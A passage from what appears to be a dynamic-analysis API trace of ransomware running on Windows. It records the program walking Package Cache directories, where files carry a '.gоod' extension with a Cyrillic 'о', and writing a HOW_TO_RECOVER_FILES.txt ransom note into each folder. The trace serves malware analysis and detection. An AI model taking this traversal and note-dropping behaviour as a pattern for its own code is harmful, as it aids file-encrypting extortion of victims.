ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3452e3af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.gоod", cAlternateFileName="STATER~1.GOD")) returned 1 [0147.897] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x35b3bf75, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6f3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe.gоod", cAlternateFileName="VCREDI~1.GOD")) returned 1 [0147.897] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x35b3bf75, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6f3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe.gоod", cAlternateFileName="VCREDI~1.GOD")) returned 0 [0147.897] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0147.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0147.897] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x60 [0147.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0147.897] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0147.898] GetFileType (hFile=0x630) returned 0x1 [0147.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0147.898] GetFileType (hFile=0x630) returned 0x1 [0147.899] WriteFile (in: hFile=0x630, lpBuffer=0x387ccb0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x387ccb0*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0147.900] CloseHandle (hObject=0x630) returned 1 [0147.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0147.900] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpFilePart=0x0) returned 0x52 [0147.900] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3725781b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.901] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3725781b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.901] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3725781b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3725781b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3725781b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0147.901] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0147.901] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0147.901] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0147.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0147.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0147.901] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpFilePart=0x0) returned 0x52 [0147.902] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3725781b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3725781b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.902] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3725781b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3725781b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.902] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3725781b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3725781b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3725781b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0147.902] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0147.902] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0147.902] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0147.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0147.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0147.903] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0147.903] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x372039ca, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.903] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x372039ca, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.903] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x372039ca, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x372039ca, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3725781b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0147.903] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x36026cc7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x36026cc7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0147.904] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x36026cc7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x36026cc7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0147.904] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0147.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0147.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0147.904] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0147.904] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x372039ca, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x372039ca, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.904] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x372039ca, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x372039ca, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.904] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x372039ca, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x372039ca, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3725781b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0147.904] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x36026cc7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x36026cc7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0147.905] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0147.905] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0147.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0147.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0147.905] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x72 [0147.905] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x36026cc7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x362d5719, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.906] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x36026cc7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x362d5719, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.906] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4bd6800, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xa4bd6800, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x35c20fa9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc5b35, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0147.906] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36026cc7, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x36026cc7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x372039ca, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0147.906] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x683e3c00, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x683e3c00, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x36026cc7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0147.906] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0147.906] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0147.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0147.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0147.906] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x72 [0147.907] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x362d5719, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x362d5719, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.907] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x362d5719, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x362d5719, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.907] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4bd6800, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xa4bd6800, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x35c20fa9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc5b35, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0147.907] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36026cc7, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x36026cc7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x372039ca, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0147.907] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x683e3c00, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x683e3c00, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x36026cc7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0147.907] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x683e3c00, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x683e3c00, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x36026cc7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 0 [0147.908] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0147.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0147.908] 